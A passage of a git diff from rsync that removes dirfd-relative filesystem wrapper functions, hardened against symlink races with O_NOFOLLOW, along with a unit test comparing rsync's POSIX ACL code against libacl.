gated off.  The dirfd\n- * is opened once and cached.\n- *\n- * file->basename is NOT assumed to equal `path`'s leaf (a temp file has a\n- * different basename), so the caller derives the leaf from `path`. */\n-int held_dfd_for(const char *path, const struct file_struct *file)\n-{\n-\tconst char *slash, *dn;\n-\tsize_t plen;\n-\n-\tif (!path || *path == '/')\n-\t\treturn -1;\n-\tdn = file && file->dirname ? file->dirname : \"\";\n-\tslash = strrchr(path, '/');\n-\tplen = slash ? (size_t)(slash - path) : 0;\n-\tif (strlen(dn) != plen || memcmp(path, dn, plen) != 0)\n-\t\treturn -1;\n-\treturn get_dir_fd(file ? file->dirname : NULL);\n-}\n-\n-int do_unlink_atfd(int dfd, const char *name, int flags)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn unlinkat(dfd, name, flags);\n-#else\n-\t(void)dfd; (void)name; (void)flags;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-int do_mkdir_atfd(int dfd, const char *name, mode_t mode)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn mkdirat(dfd, name, mode);\n-#else\n-\t(void)dfd; (void)name; (void)mode;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-#ifdef HAVE_CHMOD\n-int do_chmod_atfd(int dfd, const char *name, mode_t mode)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\t/* Do not follow a final-component symlink (closes the leaf race; the\n-\t * held parent dfd already confines the ancestors).  A symlink-as-object\n-\t * (S_ISLNK(mode)) is still handled by the caller via the full-path\n-\t * do_chmod() lchmod/setattrlist code, exactly as do_chmod_at() does. */\n-\treturn do_fchmodat_nofollow(dfd, name, mode);\n-#else\n-\t(void)dfd; (void)name; (void)mode;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-#endif\n-\n-int do_lchown_atfd(int dfd, const char *name, uid_t owner, gid_t group)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn fchownat(dfd, name, owner, group, AT_SYMLINK_NOFOLLOW);\n-#else\n-\t(void)dfd; (void)name; (void)owner; (void)group;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-/* Mode/owner on an already-open fd (no path, no symlink to follow): the\n- * race-free way to set metadata on a cross-tree operator-path leaf that was\n- * pinned with O_NOFOLLOW.  See set_file_attrs(). */\n-int do_fchown(int fd, uid_t owner, gid_t group)\n-{\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn fchown(fd, owner, group);\n-}\n-\n-#ifdef HAVE_CHMOD\n-int do_fchmod(int fd, mode_t mode)\n-{\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn fchmod(fd, mode);\n-}\n-#endif\n-\n-#ifdef HAVE_FUTIMENS\n-/* Set times on an already-open fd (the race-free counterpart for a pinned\n- * cross-tree operator leaf -- see set_file_attrs()). */\n-int do_futimens(int fd, STRUCT_STAT *stp)\n-{\n-\tstruct timespec t[2];\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\tt[0].tv_sec = stp->st_atime;\n-#ifdef ST_ATIME_NSEC\n-\tt[0].tv_nsec = stp->ST_ATIME_NSEC;\n-#else\n-\tt[0].tv_nsec = 0;\n-#endif\n-\tt[1].tv_sec = stp->st_mtime;\n-#ifdef ST_MTIME_NSEC\n-\tt[1].tv_nsec = stp->ST_MTIME_NSEC;\n-#else\n-\tt[1].tv_nsec = 0;\n-#endif\n-\treturn futimens(fd, t);\n-}\n-#endif\n-\n-#ifdef HAVE_UTIMENSAT\n-int do_utimensat_atfd(int dfd, const char *name, STRUCT_STAT *stp)\n-{\n-#ifdef AT_FDCWD\n-\tstruct timespec t[2];\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-\tt[0].tv_sec = stp->st_atime;\n-#ifdef ST_ATIME_NSEC\n-\tt[0].tv_nsec = stp->ST_ATIME_NSEC;\n-#else\n-\tt[0].tv_nsec = 0;\n-#endif\n-\tt[1].tv_sec = stp->st_mtime;\n-#ifdef ST_MTIME_NSEC\n-\tt[1].tv_nsec = stp->ST_MTIME_NSEC;\n-#else\n-\tt[1].tv_nsec = 0;\n-#endif\n-\treturn utimensat(dfd, name, t, AT_SYMLINK_NOFOLLOW);\n-#else\n-\t(void)dfd; (void)name; (void)stp;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-#endif\n-\n-int do_open_atfd(int dfd, const char *name, int flags, mode_t mode)\n-{\n-#ifdef AT_FDCWD\n-\tif (flags != O_RDONLY) {\n-\t\tRETURN_ERROR_IF(dry_run, 0);\n-\t\tRETURN_ERROR_IF_RO_OR_LO;\n-\t}\n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\tflags |= O_NOATIME;\n-#endif\n-\treturn openat(dfd, name, flags | O_NOFOLLOW | O_BINARY, mode);\n-#else\n-\t(void)dfd; (void)name; (void)flags; (void)mode;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-int do_symlink_atfd(const char *lnk, int dfd, const char *name)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-#if defined NO_SYMLINK_XATTRS || defined NO_SYMLINK_USER_XATTRS\n-\t/* --fake-super: store the link target in a regular placeholder file,\n-\t * created with O_NOFOLLOW so a planted basename symlink can't redirect\n-\t * the write (mirrors do_symlink_at()). */\n-\tif (am_root < 0) {\n-\t\tint len = strlen(lnk);\n-\t\tint ok;\n-\t\tint fd = openat(dfd, name, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW,\n-\t\t\t\tS_IWUSR | S_IRUSR);\n-\t\tif (fd < 0)\n-\t\t\treturn -1;\n-\t\tok = write(fd, lnk, len) == len;\n-\t\tif (close(fd) < 0)\n-\t\t\tok = 0;\n-\t\treturn ok ? 0 : -1;\n-\t}\n-#endif\n-\treturn symlinkat(lnk, dfd, name);\n-#else\n-\t(void)lnk; (void)dfd; (void)name;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-int do_mknod_atfd(int dfd, const char *name, mode_t mode, dev_t dev)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-\tif (am_root < 0) {\n-\t\t/* --fake-super: regular empty placeholder file (O_NOFOLLOW). */\n-\t\tint fd = openat(dfd, name, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW,\n-\t\t\t\tS_IWUSR | S_IRUSR);\n-\t\tif (fd < 0)\n-\t\t\treturn -1;\n-\t\treturn (close(fd) < 0) ? -1 : 0;\n-\t}\n-\n-\t/* Try mknodat first; on failure retry race-safely with the type-\n-\t * specific primitive (see do_mknod()).  HAVE_MKNODAT, not HAVE_MKNOD:\n-\t * older Darwin has mknod() but not mknodat(), so keying off the former\n-\t * compiles a call that then fails to link (#161). */\n-#ifdef HAVE_MKNODAT\n-\tif (mknodat(dfd, name, mode, dev) == 0)\n-\t\treturn 0;\n-#endif\n-#ifdef HAVE_MKFIFOAT\n-\tif (S_ISFIFO(mode))\n-\t\treturn mkfifoat(dfd, name, mode);\n-#endif\n-\tif (S_ISSOCK(mode)) {\n-\t\t/* No dirfd-relative socket bind without /proc/self/fd; fail safe.\n-\t\t * (The generator routes sockets to do_mknod_at(), not here.) */\n-\t\terrno = EOPNOTSUPP;\n-\t\treturn -1;\n-\t}\n-#ifdef HAVE_MKNODAT\n-\treturn -1;\t/* mknodat()'s errno (regular/device node) */\n-#else\n-\t/* Must match the guard above: reporting \"mknodat()'s errno\" where the\n-\t * call was never compiled would return a stale errno. */\n-\t(void)dev;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-#else\n-\t(void)dfd; (void)name; (void)mode; (void)dev;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-int do_rename_atfd(int old_dfd, const char *old_name, int new_dfd, const char *new_name)\n-{\n-#ifdef AT_FDCWD\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn renameat(old_dfd, old_name, new_dfd, new_name);\n-#else\n-\t(void)old_dfd; (void)old_name; (void)new_dfd; (void)new_name;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-#if defined HAVE_LINK || defined HAVE_LINKAT\n-int do_link_atfd(int old_dfd, const char *old_name, int new_dfd, const char *new_name, int flags)\n-{\n-#if defined AT_FDCWD && defined HAVE_LINKAT\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\treturn linkat(old_dfd, old_name, new_dfd, new_name, flags);\n-#else\n-\t(void)old_dfd; (void)old_name; (void)new_dfd; (void)new_name; (void)flags;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-#endif\n-\n-int do_lstat_atfd(int dfd, const char *name, STRUCT_STAT *st)\n-{\n-#ifdef AT_FDCWD\n-# ifdef SUPPORT_LINKS\n-\treturn fstatat(dfd, name, st, AT_SYMLINK_NOFOLLOW);\n-# else\n-\treturn fstatat(dfd, name, st, 0);\n-# endif\n-#else\n-\t(void)dfd; (void)name; (void)st;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\n-\n-int do_stat_atfd(int dfd, const char *name, STRUCT_STAT *st)\n-{\n-#ifdef AT_FDCWD\n-\treturn fstatat(dfd, name, st, 0);\n-#else\n-\t(void)dfd; (void)name; (void)st;\n-\terrno = ENOSYS;\n-\treturn -1;\n-#endif\n-}\ndiff --git a/t_acl.c b/t_acl.c\ndeleted file mode 100644\nindex d18a651..0000000\n--- a/t_acl.c\n+++ /dev/null\n@@ -1,532 +0,0 @@\n-/*\n- * Unit test for lib/acl.c.\n- *\n- * Validates the fd- and at-based POSIX ACL get/set/delete in lib/acl.c against\n- * the system libacl, used here as an oracle: we set an ACL via one and read it\n- * back via the other (both directions), round-trip through lib/acl.c, and check\n- * the default-ACL and delete paths.  We deliberately do NOT try to reproduce\n- * libacl's symlink-following races -- we only compare functional behaviour.\n- *\n- * Not linked into rsync itself.  Exits 0 if all checks pass, 1 on any failure,\n- * 77 to skip (built without SUPPORT_ACL_FD, no libacl, or a scratch filesystem\n- * without ACL support).\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License version 2 as\n- * published by the Free Software Foundation.\n- */\n-\n-#include \"rsync.h\"\n-#include \"lib/acl.h\"\n-\n-#include <stdio.h>\n-\n-#ifndef SUPPORT_ACL_FD\n-\n-int main(int argc, char *argv[])\n-{\n-\t(void)argc;\n-\t(void)argv;\n-\tfprintf(stderr, \"t_acl: built without SUPPORT_ACL_FD -- skipping\\n\");\n-\treturn 77;\n-}\n-\n-#else\n-\n-#include <stdlib.h>\n-#include <string.h>\n-#include <unistd.h>\n-#include <fcntl.h>\n-#include <errno.h>\n-#include <sys/types.h>\n-#include <sys/stat.h>\n-#include <sys/acl.h>\n-#ifdef HAVE_ACL_LIBACL_H\n-#include <acl/libacl.h>\t\t/* acl_get_perm() */\n-#endif\n-\n-#define MAX_ENT 16\n-\n-static int errs = 0;\n-static const char *scratch;\n-\n-static void ok(int cond, const char *label)\n-{\n-\tif (cond)\n-\t\tfprintf(stderr, \"OK   %s\\n\", label);\n-\telse {\n-\t\tfprintf(stderr, \"FAIL %s\\n\", label);\n-\t\terrs++;\n-\t}\n-}\n-\n-static void dump_entries(const char *pfx, const rsync_acl_ent *e, int n)\n-{\n-\tint i;\n-\tfor (i = 0; i < n; i++)\n-\t\tfprintf(stderr, \"    %s tag=0x%02x perm=%o id=%u\\n\",\n-\t\t\tpfx, e[i].tag, e[i].perm,\n-\t\t\te[i].id == RACL_UNDEFINED_ID ? (unsigned)-1 : e[i].id);\n-}\n-\n-static int ent_cmp(const void *a, const void *b)\n-{\n-\tconst rsync_acl_ent *x = a, *y = b;\n-\tif (x->tag != y->tag)\n-\t\treturn x->tag < y->tag ? -1 : 1;\n-\tif (x->id != y->id)\n-\t\treturn x->id < y->id ? -1 : 1;\n-\treturn 0;\n-}\n-\n-static void canon(rsync_acl_ent *e, int n)\n-{\n-\tif (n > 1)\n-\t\tqsort(e, n, sizeof e[0], ent_cmp);\n-}\n-\n-static int entries_equal(rsync_acl_ent *a, int na, rsync_acl_ent *b, int nb)\n-{\n-\tint i;\n-\tcanon(a, na);\n-\tcanon(b, nb);\n-\tif (na != nb)\n-\t\treturn 0;\n-\tfor (i = 0; i < na; i++) {\n-\t\tif (a[i].tag != b[i].tag || a[i].perm != b[i].perm)\n-\t\t\treturn 0;\n-\t\tif ((a[i].tag == RACL_USER || a[i].tag == RACL_GROUP)\n-\t\t && a[i].id != b[i].id)\n-\t\t\treturn 0;\n-\t}\n-\treturn 1;\n-}\n-\n-/* === libacl oracle helpers === */\n-\n-static uint16_t racl_from_tag(acl_tag_t tag)\n-{\n-\tswitch (tag) {\n-\tcase ACL_USER_OBJ: return RACL_USER_OBJ;\n-\tcase ACL_USER: return RACL_USER;\n-\tcase ACL_GROUP_OBJ: return RACL_GROUP_OBJ;\n-\tcase ACL_GROUP: return RACL_GROUP;\n-\tcase ACL_MASK: return RACL_MASK;\n-\tcase ACL_OTHER: return RACL_OTHER;\n-\t}\n-\treturn 0;\n-}\n-\n-static acl_tag_t tag_from_racl(uint16_t tag)\n-{\n-\tswitch (tag) {\n-\tcase RACL_USER_OBJ: return ACL_USER_OBJ;\n-\tcase RACL_USER: return ACL_USER;\n-\tcase RACL_GROUP_OBJ: return ACL_GROUP_OBJ;\n-\tcase RACL_GROUP: return ACL_GROUP;\n-\tcase RACL_MASK: return ACL_MASK;\n-\tcase RACL_OTHER: return ACL_OTHER;\n-\t}\n-\treturn 0;\n-}\n-\n-/* Convert a libacl acl_t to our neutral entry array.  Returns count or -1. */\n-static int libacl_to_entries(acl_t acl, rsync_acl_ent *out, int max)\n-{\n-\tacl_entry_t e;\n-\tint n = 0, r;\n-\n-\tfor (r = acl_get_entry(acl, ACL_FIRST_ENTRY, &e); r == 1;\n-\t     r = acl_get_entry(acl, ACL_NEXT_ENTRY, &e)) {\n-\t\tacl_tag_t tag;\n-\t\tacl_permset_t ps;\n-\t\tuint16_t perm = 0;\n-\n-\t\tif (n >= max)\n-\t\t\treturn -1;\n-\t\tif (acl_get_tag_type(e, &tag) != 0 || acl_get_permset(e, &ps) != 0)\n-\t\t\treturn -1;\n-\t\tif (acl_get_perm(ps, ACL_READ) > 0)\n-\t\t\tperm |= 4;\n-\t\tif (acl_get_perm(ps, ACL_WRITE) > 0)\n-\t\t\tperm |= 2;\n-\t\tif (acl_get_perm(ps, ACL_EXECUTE) > 0)\n-\t\t\tperm |= 1;\n-\t\tout[n].tag = racl_from_tag(tag);\n-\t\tout[n].perm = perm;\n-\t\tout[n].id = RACL_UNDEFINED_ID;\n-\t\tif (tag == ACL_USER || tag == ACL_GROUP) {\n-\t\t\tvoid *q = acl_get_qualifier(e);\n-\t\t\tif (q) {\n-\t\t\t\tout[n].id = *(id_t *)q;\n-\t\t\t\tacl_free(q);\n-\t\t\t}\n-\t\t}\n-\t\tn++;\n-\t}\n-\tif (r < 0)\n-\t\treturn -1;\n-\tcanon(out, n);\n-\treturn n;\n-}\n-\n-/* Build a libacl acl_t from our neutral entries. */\n-static acl_t entries_to_libacl(const rsync_acl_ent *ents, int n)\n-{\n-\tacl_t acl = acl_init(n);\n-\tint i;\n-\n-\tif (!acl)\n-\t\treturn NULL;\n-\tfor (i = 0; i < n; i++) {\n-\t\tacl_entry_t e;\n-\t\tacl_permset_t ps;\n-\t\tif (acl_create_entry(&acl, &e) != 0)\n-\t\t\tgoto fail;\n-\t\tif (acl_set_tag_type(e, tag_from_racl(ents[i].tag)) != 0)\n-\t\t\tgoto fail;\n-\t\tif (acl_get_permset(e, &ps) != 0 || acl_clear_perms(ps) != 0)\n-\t\t\tgoto fail;\n-\t\tif ((ents[i].perm & 4) && acl_add_perm(ps, ACL_READ) != 0)\n-\t\t\tgoto fail;\n-\t\tif ((ents[i].perm & 2) && acl_add_perm(ps, ACL_WRITE) != 0)\n-\t\t\tgoto fail;\n-\t\tif ((ents[i].perm & 1) && acl_add_perm(ps, ACL_EXECUTE) != 0)\n-\t\t\tgoto fail;\n-\t\tif (acl_set_permset(e, ps) != 0)\n-\t\t\tgoto fail;\n-\t\tif (ents[i].tag == RACL_USER || ents[i].tag == RACL_GROUP) {\n-\t\t\tid_t id = ents[i].id;\n-\t\t\tif (acl_set_qualifier(e, &id) != 0)\n-\t\t\t\tgoto fail;\n-\t\t}\n-\t}\n-\treturn acl;\n-  fail:\n-\tacl_free(acl);\n-\treturn NULL;\n-}\n-\n-static int libacl_get(const char *path, acl_type_t type, rsync_acl_ent *out, int max)\n-{\n-\tacl_t acl = acl_get_file(path, type);\n-\tint n;\n-\tif (!acl)\n-\t\treturn -1;\n-\tn = libacl_to_entries(acl, out, max);\n-\tacl_free(acl);\n-\treturn n;\n-}\n-\n-static int libacl_set(const char *path, acl_type_t type, const rsync_acl_ent *ents, int n)\n-{\n-\tacl_t acl = entries_to_libacl(ents, n);\n-\tint rc;\n-\tif (!acl)\n-\t\treturn -1;\n-\trc = acl_set_file(path, type, acl);\n-\tacl_free(acl);\n-\treturn rc;\n-}\n-\n-/* === scratch helpers === */\n-\n-static char *acl_path(const char *name)\n-{\n-\tstatic char buf[4096];\n-\tsnprintf(buf, sizeof buf, \"%s/%s\", scratch, name);\n-\treturn buf;\n-}\n-\n-static int acl_mkfile(const char *name)\n-{\n-\tchar *p = acl_path(name);\n-\tint fd = open(p, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n-\tif (fd >= 0)\n-\t\tclose(fd);\n-\treturn fd < 0 ? -1 : 0;\n-}\n-\n-static int acl_mkdir(const char *name)\n-{\n-\treturn mkdir(acl_path(name), 0755);\n-}\n-\n-/* Open a held fd the way set_file_attrs does (REG/DIR, NOFOLLOW). */\n-static int open_held(const char *name)\n-{\n-\treturn open(acl_path(name), O_RDONLY | O_NOFOLLOW | O_NONBLOCK | O_CLOEXEC);\n-}\n-\n-/* === comparison tests for one ACL shape === */\n-\n-static void cmp_via_fd(const char *name, int want_default,\n-\t\t       const rsync_acl_ent *ents, int n, const char *tag)\n-{\n-\tchar label[256];\n-\tchar *path = acl_path(name);\n-\tacl_type_t type = want_default ? ACL_TYPE_DEFAULT : ACL_TYPE_ACCESS;\n-\trsync_acl_ent got[MAX_ENT], oracle[MAX_ENT];\n-\trsync_acl_ent *lib_ents = NULL;\n-\tint gc = 0, oc, fd;\n-\n-\t/* 1. set via lib (fd) -> read via libacl */\n-\tfd = open_held(name);\n-\tsnprintf(label, sizeof label, \"%s: open held fd\", tag);\n-\tok(fd >= 0, label);\n-\tif (fd < 0)\n-\t\treturn;\n-\tsnprintf(label, sizeof label, \"%s: xacl_set_fd\", tag);\n-\tok(xacl_set_fd(fd, want_default, ents, n) == 0, label);\n-\toc = libacl_get(path, type, oracle, MAX_ENT);\n-\tmemcpy(got, ents, n * sizeof ents[0]);\n-\tsnprintf(label, sizeof label, \"%s: libacl reads back what xacl_set_fd wrote\", tag);\n-\tif (!entries_equal(got, n, oracle, oc)) {\n-\t\tdump_entries(\"set \", got, n);\n-\t\tdump_entries(\"got \", oracle, oc < 0 ? 0 : oc);\n-\t}\n-\tok(oc == n && entries_equal(got, n, oracle, oc), label);\n-\n-\t/* 2. set via libacl -> read via lib (fd) */\n-\tsnprintf(label, sizeof label, \"%s: libacl_set\", tag);\n-\tok(libacl_set(path, type, ents, n) == 0, label);\n-\tsnprintf(label, sizeof label, \"%s: xacl_get_fd reads back what libacl wrote\", tag);\n-\tif (xacl_get_fd(fd, want_default, &lib_ents, &gc) == 0) {\n-\t\tmemcpy(got, ents, n * sizeof ents[0]);\n-\t\tif (!entries_equal(got, n, lib_ents, gc)) {\n-\t\t\tdump_entries(\"set \", got, n);\n-\t\t\tdump_entries(\"got \", lib_ents, gc);\n-\t\t}\n-\t\tok(gc == n && entries_equal(got, n, lib_ents, gc), label);\n-\t} else\n-\t\tok(0, label);\n-\tif (lib_ents)\n-\t\tfree(lib_ents);\n-\tlib_ents = NULL;\n-\n-\t/* 3. round-trip lib set -> lib get */\n-\tsnprintf(label, sizeof label, \"%s: xacl_set_fd/xacl_get_fd round-trip\", tag);\n-\tif (xacl_set_fd(fd, want_default, ents, n) == 0\n-\t && xacl_get_fd(fd, want_default, &lib_ents, &gc) == 0) {\n-\t\tmemcpy(got, ents, n * sizeof ents[0]);\n-\t\tok(gc == n && entries_equal(got, n, lib_ents, gc), label);\n-\t} else\n-\t\tok(0, label);\n-\tif (lib_ents)\n-\t\tfree(lib_ents);\n-\n-\tclose(fd);\n-}\n-\n-static void cmp_via_at(const char *name, int want_default,\n-\t\t       const rsync_acl_ent *ents, int n, const char *tag)\n-{\n-\tchar label[256];\n-\tchar *path = acl_path(name);\n-\tacl_type_t type = want_default ? ACL_TYPE_DEFAULT : ACL_TYPE_ACCESS;\n-\trsync_acl_ent got[MAX_ENT], oracle[MAX_ENT];\n-\trsync_acl_ent *lib_ents = NULL;\n-\tint gc = 0, oc, dirfd;\n-\n-\tdirfd = open(scratch, O_RDONLY | O_DIRECTORY | O_CLOEXEC);\n-\tsnprintf(label, sizeof label, \"%s: open scratch dirfd\", tag);\n-\tok(dirfd >= 0, label);\n-\tif (dirfd < 0)\n-\t\treturn;\n-\n-\tsnprintf(label, sizeof label, \"%s: xacl_set_at\", tag);\n-\tok(xacl_set_at(dirfd, name, want_default, ents, n) == 0, label);\n-\toc = libacl_get(path, type, oracle, MAX_ENT);\n-\tmemcpy(got, ents, n * sizeof ents[0]);\n-\tsnprintf(label, sizeof label, \"%s: libacl reads back what xacl_set_at wrote\", tag);\n-\tok(oc == n && entries_equal(got, n, oracle, oc), label);\n-\n-\tsnprintf(label, sizeof label, \"%s: libacl_set\", tag);\n-\tok(libacl_set(path, type, ents, n) == 0, label);\n-\tsnprintf(label, sizeof label, \"%s: xacl_get_at reads back what libacl wrote\", tag);\n-\tif (xacl_get_at(dirfd, name, want_default, &lib_ents, &gc) == 0) {\n-\t\tmemcpy(got, ents, n * sizeof ents[0]);\n-\t\tok(gc == n && entries_equal(got, n, lib_ents, gc), label);\n-\t} else\n-\t\tok(0, label);\n-\tif (lib_ents)\n-\t\tfree(lib_ents);\n-\n-\tclose(dirfd);\n-}\n-\n-/* === scenarios === */\n-\n-#define U(p)    { RACL_USER_OBJ, p, RACL_UNDEFINED_ID }\n-#define G(p)    { RACL_GROUP_OBJ, p, RACL_UNDEFINED_ID }\n-#define M(p)    { RACL_MASK, p, RACL_UNDEFINED_ID }\n-#define O(p)    { RACL_OTHER, p, RACL_UNDEFINED_ID }\n-#define NU(i,p) { RACL_USER, p, i }\n-#define NG(i,p) { RACL_GROUP, p, i }\n-\n-static const rsync_acl_ent A1[] = { U(6), NU(12345,4), G(4), M(6), O(4) };\n-static const rsync_acl_ent A2[] = { U(7), NU(1000,6), NU(2000,5), G(5), NG(100,4), NG(200,1), M(7), O(0) };\n-static const rsync_acl_ent A3[] = { U(7), NU(4000000000U,5), G(5), M(7), O(4) };\n-static const rsync_acl_ent A4[] = { U(7), NU(0,0), G(0), M(4), O(0) };\n-\n-static const rsync_acl_ent D1[] = { U(7), G(5), O(5) };\n-static const rsync_acl_ent D2[] = { U(7), NU(1000,6), G(5), NG(100,4), M(6), O(0) };\n-\n-#define NELEM(a) ((int)(sizeof (a) / sizeof (a)[0]))\n-\n-static void run_access(const char *base, const rsync_acl_ent *e, int n, const char *tag)\n-{\n-\tchar fdname[128], atname[128];\n-\tchar fdtag[160], attag[160];\n-\n-\tsnprintf(fdname, sizeof fdname, \"%s_fd\", base);\n-\tsnprintf(atname, sizeof atname, \"%s_at\", base);\n-\tsnprintf(fdtag, sizeof fdtag, \"access %s [fd]\", tag);\n-\tsnprintf(attag, sizeof attag, \"access %s [at]\", tag);\n-\n-\tif (acl_mkfile(fdname) == 0)\n-\t\tcmp_via_fd(fdname, 0, e, n, fdtag);\n-\tif (xacl_at_available()) {\n-\t\tif (acl_mkfile(atname) == 0)\n-\t\t\tcmp_via_at(atname, 0, e, n, attag);\n-\t}\n-}\n-\n-static void run_default(const char *base, const rsync_acl_ent *e, int n, const char *tag)\n-{\n-\tchar fdname[128], atname[128];\n-\tchar fdtag[160], attag[160];\n-\n-\tsnprintf(fdname, sizeof fdname, \"%s_fd\", base);\n-\tsnprintf(atname, sizeof atname, \"%s_at\", base);\n-\tsnprintf(fdtag, sizeof fdtag, \"default %s [fd]\", tag);\n-\tsnprintf(attag, sizeof attag, \"default %s [at]\", tag);\n-\n-\tif (acl_mkdir(fdname) == 0)\n-\t\tcmp_via_fd(fdname, 1, e, n, fdtag);\n-\tif (xacl_at_available()) {\n-\t\tif (acl_mkdir(atname) == 0)\n-\t\t\tcmp_via_at(atname, 1, e, n, attag);\n-\t}\n-}\n-\n-/* delete of a default ACL + the \"no explicit ACL\" / errno behaviour */\n-static void run_misc(void)\n-{\n-\trsync_acl_ent *ents = NULL;\n-\tint n = 0, fd;\n-\tchar *p;\n-\n-\t/* default-ACL delete */\n-\tif (acl_mkdir(\"deldir\") == 0) {\n-\t\tfd = open_held(\"deldir\");\n-\t\tok(fd >= 0, \"misc: open deldir fd\");\n-\t\tif (fd >= 0) {\n-\t\t\tok(xacl_set_fd(fd, 1, D2, NELEM(D2)) == 0, \"misc: set default to delete\");\n-\t\t\tok(xacl_del_default_fd(fd) == 0, \"misc: xacl_del_default_fd\");\n-\t\t\t/* libacl returns an empty (0-entry) default ACL after delete */\n-\t\t\t{\n-\t\t\t\tacl_t a = acl_get_file(acl_path(\"deldir\"), ACL_TYPE_DEFAULT);\n-\t\t\t\tint cnt = -1;\n-\t\t\t\tif (a) {\n-\t\t\t\t\tacl_entry_t e;\n-\t\t\t\t\tcnt = acl_get_entry(a, ACL_FIRST_ENTRY, &e);\n-\t\t\t\t\tacl_free(a);\n-\t\t\t\t}\n-\t\t\t\tok(cnt == 0, \"misc: default ACL is empty after delete\");\n-\t\t\t}\n-\t\t\t/* deleting again is still success */\n-\t\t\tok(xacl_del_default_fd(fd) == 0, \"misc: xacl_del_default_fd idempotent\");\n-\t\t\tclose(fd);\n-\t\t}\n-\t}\n-\n-\t/* a freshly-created file has no explicit access ACL xattr -> count 0 */\n-\tif (acl_mkfile(\"plainfile\") == 0) {\n-\t\tfd = open_held(\"plainfile\");\n-\t\tok(fd >= 0, \"misc: open plainfile fd\");\n-\t\tif (fd >= 0) {\n-\t\t\tint rc = xacl_get_fd(fd, 0, &ents, &n);\n-\t\t\tok(rc == 0 && n == 0, \"misc: xacl_get_fd on mode-only file -> no entries\");\n-\t\t\tif (ents)\n-\t\t\t\tfree(ents);\n-\t\t\tents = NULL;\n-\t\t\t/* no default ACL on a regular file -> empty */\n-\t\t\trc = xacl_get_fd(fd, 1, &ents, &n);\n-\t\t\tok(rc == 0 && n == 0, \"misc: xacl_get_fd default on regular file -> no entries\");\n-\t\t\tif (ents)\n-\t\t\t\tfree(ents);\n-\t\t\tclose(fd);\n-\t\t}\n-\t}\n-\n-\t/* at-variant: leaf NOFOLLOW must not touch a symlink target */\n-\tif (xacl_at_available()) {\n-\t\tint dirfd;\n-\t\tacl_mkfile(\"nofollow_target\");\n-\t\tp = acl_path(\"nofollow_link\");\n-\t\tunlink(p);\n-\t\tif (symlink(\"nofollow_target\", p) == 0\n-\t\t && (dirfd = open(scratch, O_RDONLY | O_DIRECTORY | O_CLOEXEC)) >= 0) {\n-\t\t\trsync_acl_ent before[MAX_ENT], after[MAX_ENT];\n-\t\t\tint bc, ac;\n-\t\t\t/* give the target a distinctive ACL via libacl */\n-\t\t\tlibacl_set(acl_path(\"nofollow_target\"), ACL_TYPE_ACCESS, A1, NELEM(A1));\n-\t\t\tbc = libacl_get(acl_path(\"nofollow_target\"), ACL_TYPE_ACCESS, before, MAX_ENT);\n-\t\t\t/* attempt to set through the symlink leaf with NOFOLLOW: must fail */\n-\t\t\terrno = 0;\n-\t\t\tok(xacl_set_at(dirfd, \"nofollow_link\", 0, A2, NELEM(A2)) != 0,\n-\t\t\t   \"misc: xacl_set_at on symlink leaf is refused\");\n-\t\t\tac = libacl_get(acl_path(\"nofollow_target\"), ACL_TYPE_ACCESS, after, MAX_ENT);\n-\t\t\tok(bc == ac && entries_equal(before, bc, after, ac),\n-\t\t\t   \"misc: symlink target ACL unchanged by NOFOLLOW set\");\n-\t\t\tclose(dirfd);\n-\t\t}\n-\t}\n-}\n-\n-int main(int argc, char *argv[])\n-{\n-\tchar *p;\n-\n-\tif (argc > 1)\n-\t\tscratch = argv[1];\n-\telse\n-\t\tscratch = \"/tmp\";\n-\n-\t/* Probe filesystem ACL support: set a trivial ACL via libacl. */\n-\tif (acl_mkfile(\".acl_probe\") != 0) {\n-\t\tfprintf(stderr, \"t_acl: cannot create scratch file in %s\\n\", scratch);\n-\t\treturn 77;\n-\t}\n-\tp = acl_path(\".acl_probe\");\n-\tif (libacl_set(p, ACL_TYPE_ACCESS, A1, NELEM(A1)) != 0) {\n-\t\tif (errno == EOPNOTSUPP || errno == ENOTSUP || errno == ENOSYS) {\n-\t\t\tfprintf(stderr, \"t_acl: %s has no ACL support -- skipping\\n\", 